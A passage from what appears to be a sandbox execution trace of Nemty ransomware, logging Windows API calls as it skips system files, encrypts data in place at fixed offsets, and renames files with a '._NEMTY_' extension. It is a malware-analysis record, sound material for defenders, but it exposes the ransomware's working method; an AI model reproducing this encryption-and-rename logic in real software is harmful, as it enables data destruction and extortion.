Flags=0x0, Size=0x167) returned 0x63400f0 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0055.082] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.082] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.082] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.082] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.101] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.101] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.101] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.111] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.111] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.120] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.120] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.120] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.139] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.139] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.139] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.158] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.158] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.158] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.189] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.189] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0055.189] CloseHandle (hObject=0xffffffff) returned 0 [0055.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0055.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0055.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0055.190] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0055.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0055.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0055.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.190] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png._nemty_kgobjgd_")) returned 0 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0055.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.190] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0055.190] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2=".") returned 1 [0055.190] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="..") returned 1 [0055.190] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="...") returned 1 [0055.190] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="windows") returned -1 [0055.190] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0055.190] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="rsa") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="NTDETECT.COM") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="ntldr") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="MSDOS.SYS") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="ntuser.dat") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="programdata") returned -1 [0055.191] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="appdata") returned 1 [0055.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MainMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0055.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0055.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MainMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0055.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0055.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0055.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0055.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MainMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0055.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0055.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0055.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0055.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MainMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 22 [0055.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0055.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0055.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0055.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0055.192] Sleep (dwMilliseconds=0x5) [0055.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd48d66d0, dwHighDateTime=0x1d561e7)) [0055.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd48d66d0, dwHighDateTime=0x1d561e7)) [0055.206] GetLastError () returned 0x5 [0055.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0055.206] GetLastError () returned 0x5 [0055.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0055.206] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0055.206] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0055.206] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0055.207] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0055.207] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0055.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0055.207] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="XrVkoKL1OMKpYPWknMznYebi94QYLxaxDtGpkUtOlDdwCF0hP1eL/qwy0Fgki3f/\r\n9/MYcJFrI7E6uT4nsb3JytajTi7eIUPVcJ93IbmpILYXs5csiT6Ht/dTsdk5HwMY\r\nzVzOHFTFouSDe0U3yp1kAuKmTwba+wMEFAfy0MrzxgIVIHjG9uhptNSl83u21/sq\r\nLHT2n3xU9Bt3JpWQghJL1ala7Q92SCxR+ALAOzYP+WSJBMlUleR37xm4bNdhdFCY\r\nKQrNYNdp6KTztVEZiozS8gwIMU36bKNdhULA1wHEDkV0zg/tjF9zpgUy7y/C1mac\r\nC5KYj5/qpt5xlrAMZiQQcA==\r\n", pcchString=0x653e91c) returned 1 [0055.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0055.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0055.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0055.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0055.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0055.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0055.207] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0055.207] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0055.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0055.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.217] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0055.217] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0055.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0055.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, 